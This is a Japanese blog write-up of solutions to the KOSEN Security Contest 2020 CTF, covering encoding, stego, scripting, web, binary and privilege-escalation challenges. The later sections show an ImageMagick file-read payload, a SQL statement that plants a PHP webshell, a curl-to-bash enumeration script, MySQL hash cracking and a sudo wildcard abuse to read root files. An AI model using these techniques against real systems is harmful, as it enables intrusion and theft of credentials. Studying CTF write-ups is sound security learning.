KOSENセキュリティコンテスト2020で全完したお話
はじめに
※タイトルが自己主張激しめなのは、今までブログ記事を書いていてタイトルが地味で、あとあと後悔することが多いので、思い切って嬉しかったことを全面に出させていただいております。
トラコンに引き続き、今年で参加は最期になるであろう、KOSENセキュリティコンテストに参加しました。 備忘録として、基本的にぼくが解いた13問について、簡単にWriteupを残します。 結果は2位と残念でしたが、チーム3人で全問題解ききれたので、その点嬉しかったです。
encode/crypto
デコードせよ (50)
[問題内容] FLAG%7B%25encoding%3C!%3E%7D HINT: URLエンコードやパーセントエンコーディングと呼ばれます
ツールなどでURLデコードするだけ。
rotten3 (100)
[問題内容] ファイル「rotten3」を復号し、フラグを読み取ってください。 [問題ファイル] http://104.46.226.179:8080/contents/problem/EC-rotten3/rotten3
以下のようなHTMLっぽいファイルが与えられます。
<ugzy> <urnq> <zrgn uggc-rdhvi=Pbagrag-Glcr pbagrag="grkg/ugzy; punefrg=fuvsg_wvf"> <zrgn anzr=Trarengbe pbagrag="Zvpebfbsg Jbeq 15 (svygrerq)"> </urnq> <obql ynat=WN fglyr='grkg-whfgvsl-gevz:chapghngvba' otpbybe=oynpx> <qvi pynff=JbeqFrpgvba1 fglyr='ynlbhg-tevq:18.0cg'> <sbag pbybe=juvgr> <c pynff=ZfbAbezny><fcna ynat=RA-HF>Gur gehgu vf nyjnlf uvqr va gur oynpx.</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>-- Pna lbh svaq vg?</fcna></c> <vzt jvqgu=34 urvtug=11 onpxtebhaq-pbybe="#000000;" fep="qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNDxNNNNvPNLNNNOZqPjyNNNNNKAFE0VNef4p6DNNNNEaDH1ONNPkwji8LDHNNNNWpRuMpjNNQfZNNN7QNpqidTDNNNCaFHEOIUur7MrApnjjQVFiYtdvadfzmIjkOTCJi2gfp4oxowLm37j8VqiFFuoxfFlYRRVHbHLuuNQHXVDDtOdSRNWDbkOPNTbHDtuNwHVVNnuEPPRNADbuOXOTVLDN1PvRRVNnuENPHBC38Sdr02CA0wNgm9qdcK5vJK6JrqAcKa/osbwCnZY6ORmC9pa2D9Lj/vY2f+lkMwz2nVR8YoAAqy9/UqGLElR5j5nts15A6zq2n8h+fINB0yvi51GMd4+s2Mk1ogv8f/Lr/zcVkWdtMt9ogZF/kC8MRfH6O73A+7IUP9lcr/Xykw4DpBxPgN4W78qSKUSPc+XLWfaCgjHoW6FTkN28afgHdi8UHX1mG34UianN3AAC1AwUbPUuOWafi9y+nBWJLKNhTlwzUPA8+Ci6tktpsd0gsxWwVk+iEI4re5CCrDbUnBGGNinMylsrGuhuyg7Uoc1bD31JJ/dTKBzYYDMnGGLj6cZmBd4j90FUq3hxL0tpnGU6X/xVnhkwmWPNVZnUsznu6N3vJvcQVfGfzEHiK29woO1FZKkg0bQhGCtu1zOqE5A5sZ6h4IlmVm/4WC+Cmxy8HWBtGdM2/L3e4mha7+v4jau2EiIVgK5gJambxZvkPswa5LFFVzpA7RKkuH8YzDv6A0c+5e4hXEVGUGMpeASQtuM6w9hrzrvl+GOoQo7TkbGmHk+zH+mwngVIlmShm+VyLblBv+H+dRp6uilkSahZAcwNCu5d7XZ2OBcQjbxEWVjTqz++4cpR9g8YN79vt/NTvP/Z7ugq2VLTBVPg9p2pp8rDvWf+9JR6SKjvmhawjM49+4lBn19/EL90QVz6Si5hhKglNqGLk7gQjw+aBQSYtvIQNin9rCzMiNUvPkCoeu4F5DVw5/OlZ1fAivMh+gFa9+ltwaoQ4SxC4/XmaVye3++XUwx1WSur+7B3gT6QTigbUjY0rsHYjn9QDJYE4SpnUdaNiNUl4hKepnaBGT2+ggNRdloJwm0/ncjFMR2Jo+eQqV19GQ2vzvMi1FbzudDB0Xzi+DsUus2h6WUFxBwHtt2fd6QTCvOHsHuxGCZlU6k1DlRFQj0ExkpyY6Py0NNTSAOEJNiLUxIXn7x+1jlWOXcefP8TrVo18HCo034EImX9G+lkRps+qymLo2FCyYGR804gCzkV/S/fWB65GA8XTDQvb7SQ4glsie1D47qj/oEA3ubZ9wLnEhi5qj+WHodZ1iri6mJX0yslAIQw9kO+lg8mqs8aqj8WpD3kxYiwGj0QADbuOXOTVLDN1PvRRVNnuENPHXZDDtOdSRVVDV1PPNTbHDtuNQHXVLEyrsjPNxaJ/CZ8cRVNNNNNFHIBEX5PLVV="> <fcnaynat=RA-HF>Bs pbhefr, V jvyy abg sbetrg vg.Lrnu!</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>-- Ernyl?</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>Bu?Uzzz?cBu zl?c</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>Bbcf, V sbyybjrq gur synt ng n qvfgnapr, ohg ybfg fvtug bs vg va n srj fragrapr.</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>Jurer vf gur synt?</fcna></c> <c pynff=ZfbAbezny><fcna ynat=RA-HF>-- V qba?fg xabj.</fcna></c> </qvi> </sbag> </obql> </ugzy>
これもROT13 - CyberChefに投げることで、デコードできます。 これをHTMLファイルとして、保存するとフラグっぽいファイルが得られます。
forensics/stego
docxのもう一つの顔 (50)
[問題内容] 画像が破損している!? [問題ファイル] http://104.46.226.179:8080/contents/problem/FS-docx/you_and_ctf.docx
you_and_ctf.docx
というファイルが与えられるので解析していきます。
$ file you_and_ctf.docx you_and_ctf.docx: Microsoft Word 2007+
調べてみると、Wordファイルのようですが、開こうとしても壊れているようで開かないです。
docxといえば、zipファイルであることが広く知られているので、unzip
してみるのもよいですが、手っ取り早くbinwalk
でファイルを抽出します。
$ binwalk -e you_and_ctf.docx ... $ tree -a _you_and_ctf.docx.extracted _you_and_ctf.docx.extracted ├── 0.zip ├── [Content_Types].xml ├── _rels │ └── .rels ├── docProps │ ├── app.xml │ └── core.xml └── word ├── _rels │ └── document.xml.rels ├── document.xml ├── fontTable.xml ├── media │ └── image1.png_ ├── settings.xml ├── styles.xml ├── theme │ └── theme1.xml └── webSettings.xml 6 directories, 13 files
見た目は普通のdocxをzipとして展開したもののように見えます。
しかし、よく見るとword/media/image1.png_
という怪しい画像ファイルがあるので、それを開くとフラグが手に入ります。
programming
足し算しよう (50)
[問題内容] 1000~10000の数値を足した数を求めよ。 FLAG{足した数}
単純に総和を求めるだけです。
熱血計算塾 (50)
[問題内容] 下記サーバに接続し、フラグを入手しましょう! サンプルコードを添付しました。 まずは、nc コマンドを使って接続しましょう。 nc 52.175.155.247 5555 [問題ファイル] http://104.46.226.179:8080/contents/problem/P-calc/sample.zip
ncすると、55-5=
という形式で問題が何本も送られてきます。
問題ファイルとしては、以下のようなsampleのpythonファイルが与えられます。
(これは、pwntools
をインストールし忘れていた私にはとてもありがたかったですね。)
#!/usr/bin/python # -*- coding: utf-8 -*- import socket import decimal import re import time def netcat(hostname, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) nop = re.compile("ok",re.IGNORECASE) while 1: data = s.recv(1024) if data == "": continue if data.decode('utf-8').strip() == "Let's solve a simple math problem.Please hit Enter key": s.sendall(bytes("\n", "utf-8")) elif nop.search(data.decode('utf-8')): print (data.decode('utf-8')) pass else: #data 変数に、サーバから送られてくる問題文が含まれる try: #ここに計算する処理を記述する #現在は、人間が手動計算するコードになっている answer = input() #answer = 計算結果をanswer変数に格納して、answer の値をサーバに送る print (answer) s.sendall(bytes(str(answer) + "\n","utf-8")) except: print ("flag?\n") break shutdown(s) def shutdown(s): print ("Connection closed.") s.shutdown(socket.SHUT_WR) s.close() if __name__ == '__main__': netcat("52.175.155.247", 5555)
このサンプルコードを、55-5=
というデータを受け取ったらeval
した結果を返すコードに書き換えて実行すると、フラグが得られます。
具体的には以下のような関数の返り値をanswer
変数に代入すればよいです。
def calc(data): q = data.decode('utf-8')[:-2] return eval(q)
15game (200)
[問題内容] 15ゲームをしましょう! host :52.175.155.247 port : 10001 接続例:nc 52.175.155.247 10001 ルール: 2人対戦のゲームです。 1から順番に数字を数えていき、15を言った方の負けです。 1度に3個までの数字を言うことができます。 数字の指定方法: 自分が言う最初の数:自分が言う最後の数 (例:1,2,3を言う場合 1:3)
ncで接続すると、ゲームやろうぜ!的な表示が出てきて、ルールが示されすぐに、ゲームが始まります。
ゲームの内容は問題文の通り、1から順番に数字を数えていき、15を言った方の負けです。
と思ったのですが、この問題文は正確にはウソルールで、ゲームを進めていくと言ってはいけない数字
と言える数字の最大個数
がどんどん上がっていきます。
というわけで、それに対応するように、以下のようにコードを書いて実行すると、フラグが得られます。(コードは熱血計算塾のものを使いまわしました。)(コードが汚いのはゆるして。)
#!/usr/bin/python # -*- coding: utf-8 -*- import socket import decimal import re import time def parse_game_rule(data): q = data.decode('utf-8').split("\n") print(q) for s in q: if 'Up to' in s: upto = int(s[len("Up to "):-len(" consecutive numbers at once")]) if "BadNum" in s: badnum = int(s[len("BadNum is "):]) return (badnum, upto) def game(sock, badnum, upto): myans = [] current = badnum - 1 while current > 0: myans.append(current) current -= upto+1 myans = myans[::-1] current = 1 answer = f'{current}:{myans[0]}' sock.sendall(bytes(answer + "\n","utf-8")) print(answer) turn = 1 while 1: data = sock.recv(1024) if "You Win!" in data.decode('utf-8'): break print(data.decode('utf-8').split('\n')) MyTurn = data.decode('utf-8').split('\n')[0].strip() current = int(MyTurn.split(':')[-1]) + 1 print("in game..", current) answer = f'{current}:{myans[turn]}' sock.sendall(bytes(answer + "\n","utf-8")) turn += 1 def netcat(hostname, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) nop = re.compile("ok",re.IGNORECASE) while 1: data = s.recv(1024) if data == "": continue if "Let's" in data.decode('utf-8'): continue print(data.decode('utf-8')) badnum, upto = parse_game_rule(data) print(f'badnum: {badnum}, upto: {upto}') game(s, badnum, upto) shutdown(s) def shutdown(s): print ("Connection closed.") s.shutdown(socket.SHUT_WR) s.close() if __name__ == '__main__': netcat("52.175.155.247", 10001)
値段の比較はお手の物 (200)
[問題内容] まさるくんはノリが命。買い物もテキトウです。 まさるくんの代わりに適切な商品を選んでください。 問題サーバー http://52.175.155.247:5000/
問題サーバーにアクセスすると、以下のようなページが表示されます。
というわけで、とりあえず、愚直に問題に150回答えればいいのだろうと、selenium
とBeautifulSoup4
を使って以下のようなコードを書いて、処理を自動化します。
これを実行して、サーバーとseleniumのやり取りをぼーっと眺めていると、最後にフラグが得られます。
import os from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.common.exceptions import TimeoutException from bs4 import BeautifulSoup def get_question(html): q = html.find('p', id='message').text.strip().split()[0] print(q) if "最高" in q: return (0, True) if "最安" in q: return (0, False) num = int(q[:-len("番目にXい商品名を入力してね")]) reverse = False if "高い" in q: reverse = True return (num-1, reverse) def get_ans(html, num, reverse): cards = html.find_all('div', class_="card") name_price = {} for card in cards: price_text = card.find("div", class_='card-footer').text price = int(price_text[len("価格:"):-1]) name_text = card.find("div", class_='card-header').text name = name_text[len("商品名:"):] name_price[name] = price sorted_dict = sorted(name_price.items(), key=lambda x:x[1], reverse=reverse) ans_name = list(sorted_dict)[num] return ans_name def post_ans(driver, name): name_input = driver.find_element_by_id('name') name_input.send_keys(name) submit_button = driver.find_element_by_css_selector('button.btn') submit_button.click() def main(): url = "http://52.175.155.247:5000/" driver = webdriver.Chrome() driver.get(url) while 1: WebDriverWait(driver, 30).until(EC.presence_of_element_located((By.ID, "message"))) html = BeautifulSoup(driver.page_source, 'html.parser') num, reverse = get_question(html) name, _ = get_ans(html, num, reverse) post_ans(driver, name) if __name__ == '__main__': main()
web
ローカルプロキシ入門 (150)
[問題内容] ローカルプロキシを使ってみよう 問題サーバー http://52.175.155.247:8096/
BurpSuiteあたりのローカルプロキシを立てて、問題サーバーにアクセスします。
Burpのログを良く見てみると、/
にアクセスしたあと、302
で/mondai/hint.php
にリダイレクトし、さらに302
で/mondai/index.php
にリダイレクトしていることがわかります。
これは、ローカルプロキシを立てずに見ると、リダイレクトが一瞬で行われるので、何もなかったかのようにindex.php
が表示されてしまいます。
とりあえず、index.php
にアクセスすると、フラグゲット!
というボタンが表示されるので、クリックすると、Invalid Access !!
と怒られてしまいます。
つぎに、hint.php
にアクセスすると"クローラー"を制御するファイルといえば?
というヒントが与えられます。
このヒントの答えはrobots.txt
なので、そこにアクセスすると次は、以下のようなテキストが得られます。
User-agent: * Disallow: /lbauccckounp/ Allow: /mondai/
Disallowと言われると、アクセスしたくなるのがCTFerの性ということで、/lbauccckounp/
にアクセスすると、以下のようなflag_get.txt
が得られます。
<?php session_start(); if (isset($_POST['Proxy_is_about'])){ if ($_POST['Proxy_is_about'] == 'BurpSuite?'){ $_SESSION['ctf']='LACCON'; header('Location: ../answer/flag.php'); } else { print('<h2 style="color:red">Invalid Access !!</h2>'); } } else { print('<h2 style="color:red">Invalid Access !!</h2>'); }
このコードから、flag_get.php
のボタンでPOSTされるProxy_is_about
の値をBurpSuite?
に改ざんすれば良いことがわかります。
というわけで、BurpのIntercept
でリクエストを改ざんすると、フラグが得られます。
binary
Maruware ()
[問題内容] まるウェアです。 ※ CTF用に作成したプログラムです。本物のマルウェアではありません。 ※ 実行しなくても解くことが可能です。 [問題ファイル] http://104.46.226.179:8080/contents/problem/B-maruware/Maruware.exe
file
コマンドで、ファイルの情報を見ると、Mono/.Net assembly
であることがわかります。
$ file Maruware.exe Maruware.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
これは、ILSpy
というツールを使うことで、簡単にデコンパイルできることが知られているので、それに食わせてコードを読んでいきます。
コードを見ていくと、以下のような興味深いコードが出てきます。
a()
関数では、引数b
を1文字ずつ18
でxorしたものを返していることがわかります。
また、Initialization()
関数では、引数c
の部分文字列と文字列を比較して、最後にMessageBoxを表示させるような処理を行っています。
以上のコードから、これらの比較している文字列を結合し、1文字ずつ18
とxorを取れば、フラグが得られそうです。
というわけで、CyberChefなどのツールで545E5355695F534047455340575B41415354464B6F
という文字列をHex
からASCII
に変換し、18
でXOR
すれば、フラグが得られます。
binary
デバッガ (200)
[問題内容] くっ!stringsコマンドを使用してもフラグが出ないじゃないか! うまく実行して、フラグを取得してやる! ダウンロードする際にブラウザの警告が表示される可能性があります。 この実習においてはダウンロード続行を選択しても問題ありません。 [問題ファイル] http://104.46.226.179:8080/contents/problem/B-debugger/checker.exe
これは出題ミスですかね?
wine
で実行ファイルを実行すると、フラグが出力されました。
$ wine checker.exe ===================================================================== Welcome!!! If you resolved this problem, the flag will be output... ===================================================================== FLAG{hXT57e8j}
exploit/pwn
PPAP? (300)
[問題内容] フラグをAhhhhしてください。 なお、フラグは .htaccess でアクセスが制限されています。 ※ CTF関連のサーバ以外へのリクエストは禁止しています。対象を間違えないよう注意ください。 Hint: 攻略のためのHTTPリクエストをウイルス対策ソフトが遮断する場合があります。対象のリクエストを一時的に許可ください。 Hint: ライブラリのアップデートも忘れずに 問題サーバー http://52.175.155.247:8101/PPAP/image.php
問題URLにアクセスすると、画像をアップロードできるページが表示されます。
レスポンスのHTMLを見ると<title>PPAP? ver 2016-3717</title>
というタイトルが設定されていることがわかります。
ver 2016-3717
という文字列から、CVE-2016-3717
の脆弱性を利用するのではないかとあたりをつけて検索すると、以下のようなImageMagick
の脆弱性がヒットします。
ここを軽く読むと、CVE-2016-3717
は、以下のようなmvg
ファイルをImageMagickに食わせるとLocal file read
ができる脆弱性であることがわかります。
push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context
というわけで、上記ファイルの/etc/passwd
部分を任意のファイル名に変えてサーバーのファイルを読み出せるので、./flag.txt
として、アップロードすると、以下のようにフラグファイルのテキストが合成された画像が得られます。
PHP Beginner Practice 2 (350)
[問題内容] 下記の情報をもとにサーバを攻略せよ! どうやらパスワードの管理が甘いらしい。 ※Practice 2では2番目に手に入ると考えられるuser.txtのフラグを送信してください。 【注意事項】 FLAGはrootユーザのホームディレクトリにあるroot.txtと、一部ユーザのホームディレクトリにあるuser.txtに記載されています。 フラグの書き換えやサーバのシャットダウン、攻略情報の共有など、他の参加者の妨げになる行為は控えるようお願いします。 また、本環境は定期的にロールバックされます。 問題サーバー http://52.175.155.247:8103/
この問題は、PHP Beginner Practice
という問題の系列で、1つめの問題はチームメンバーが解いてくれました。
この問題の系列では、/home/dachshund/user.txt
、/home/pomeranian/user.txt
および、/root/root.txt
を読み出すのがゴールになります。
問題1について
問題1では、Local File Inclusionの脆弱性を利用して、/home/dachshund/user.txt
を読み出すことでフラグが得られたようです。
FLAG{MmhhwFkakNwfZ6etfgZJQHglSKhyuUzJ} memo:phpmyadmin:U6ys8Izzy8dV
また、上記のuser.txt
の内容から、phpmyadmin
にdachshund:U6ys8Izzy8dV
でログインできるのではというあたりをつけることができます。
phpmyadminにログインできたら、次のようなSQLでwebshellを設置できます。
SELECT "<HTML><BODY><FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"><INPUT TYPE=\"text\" NAME=\"cmd\"><INPUT TYPE=\"submit\" VALUE=\"Send\"></FORM><pre><?php if($_GET['cmd']) {system($_GET[\'cmd\']);} ?> </pre></BODY></HTML>" INTO OUTFILE '/var/www/html/lasdsdjkfhoakdjf.php'
Reverse Shell
問題2では、/home/pomeranian/user.txt
を読み出すことがゴールになります。
とりあえず、最初に問題1を解いてくれたチームメンバーが、webshellの設置まではしてくれていたので、それを使って、Reverse Shellを立てました。
Reverse Shellは以下のブログがわかりやすいです。
Reverse Shellのコマンドいろいろ | 俺的備忘録 〜なんかいろいろ〜
また、Reverse Shellのセッションが取れたあと、TTYを持つシェルにするためにコマンドを打つ必要があります。
これをすることで、su
コマンドなどが使えるようになります。
pomeranian
のパスワード
問題文のどうやらパスワードの管理が甘いらしい。
という文言を念頭において、調査していきます。
この文言から、おそらく、ソフトウェアの脆弱性を突くような権限昇格は行わないとあたりをつけることができます(実際には競技終了30分前ぐらいにそのことに気づきました。)
とりあえず、Linuxのシェルが取れたら調査系のスクリプトを回すのが定石なので、以下のコマンドで回していきます。
$ curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh | bash
コマンドの実行結果を見ていくと、以下のような出力が目に付きます。
[+] Searching mysql credentials and exec ... [mysqld] secure-file-priv="" We can read the Mysql Hashes from /var/lib/mysql/mysql/user.MYD ...
というわけで、user.MYD
について調査していくと、mysqlのユーザーのパスワードがハッシュ化されて保存されているファイルであるということがわかります。
$ python read_mysqld_user_myd.py 0 3 {'host': b'localhost', 'user': b'root', 'password': '', 'native': False} 80 3 {'host': b'localhost', 'user': b'mysql.session', 'password': 'THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE', 'native': True} 212 3 {'host': b'localhost', 'user': b'mysql.sys', 'password': 'THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE', 'native': True} 340 3 {'host': b'localhost', 'user': b'debian-sys-maint', 'password': '9BCB8BE2F1235C7C8EB857234CE88138512708F5', 'native': True} 476 3 {'host': b'localhost', 'user': b'dachshund', 'password': '4019DC97B5B32201A290DC097AA59B69E5B109D2', 'native': True} 604 1 {'host': b'localhost', 'user': b'pomeranian', 'password': 'E31D0B38B2177C363E38ADED65DBE597142F3EAB', 'native': True}
さらに調べると、これらのハッシュはJohnTheRipper
で解析できることがわかったので、以下のコマンドで解析したところ、見事にpomeranian
ユーザーのパスワードを得ることができました。
$ cat hashes.txt e31d0b38b2177c363e38aded65dbe597142f3eab $ john --format=mysql-sha1 hashes.txt Using default input encoding: UTF-8 Loaded 1 password hash (mysql-sha1, MySQL 4.1+ [SHA1 512/512 AVX512BW 16x]) ... poodle (?) ... Session completed
そして、su pomeranian
でこのパスワードを使って、pomeranian
ユーザーとしてログインすることで、/home/pomeranian/user.txt
からフラグを得ることができました。
PHP Beginner Practice 3 (300)
[問題内容] 下記の情報をもとにサーバを攻略せよ! ※Practice 3ではroot.txtのフラグを送信してください。 【注意事項】 FLAGはrootユーザのホームディレクトリにあるroot.txtと、一部ユーザのホームディレクトリにあるuser.txtに記載されています。 フラグの書き換えやサーバのシャットダウン、攻略情報の共有など、他の参加者の妨げになる行為は控えるようお願いします。 また、本環境は定期的にロールバックされます。 問題サーバー http://52.175.155.247:8103/
最後の問題は、前問の続きで、/root/root.txt
を得ることがゴールになります。
前問で、pomeranian
ユーザーに昇格できたので、sudo -l
コマンドでsudo
で実行できるコマンドを調べてみます。
$ sudo -l [sudo] password for pomeranian: poodle Matching Defaults entries for pomeranian on 1450972c0d1d: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User pomeranian may run the following commands on 1450972c0d1d: (root) /bin/cat /var/log/apache2/access*
結果を見ると、/bin/cat /var/log/apache2/access*
というコマンドをroot権限で実行できるようです。
しかし、そのまま実行しても、以下のようにエラーが出てしまいます。
$ sudo /bin/cat /var/log/apache2/access* sudo /bin/cat /var/log/apache2/access* /bin/cat: '/var/log/apache2/access*': No such file or directory
ここで、*
(アスタリスク)は、ワイルドカードであることを考慮すると、/bin/cat /var/log/apache2/access
の後ろに任意の文字列を追加することができると考えられます。
というわけで、/bin/cat /var/log/apache2/access /root/root.txt
というコマンドを実行することで、最後のフラグが得られます。
おわりに
最期のKOSENセキュリティコンテストになりましたが、時間内ギリギリで解ききることができ、達成感が大きく楽しかったです。 運営、参加者の皆様、お疲れさまでした。 来年以降も頑張ってください。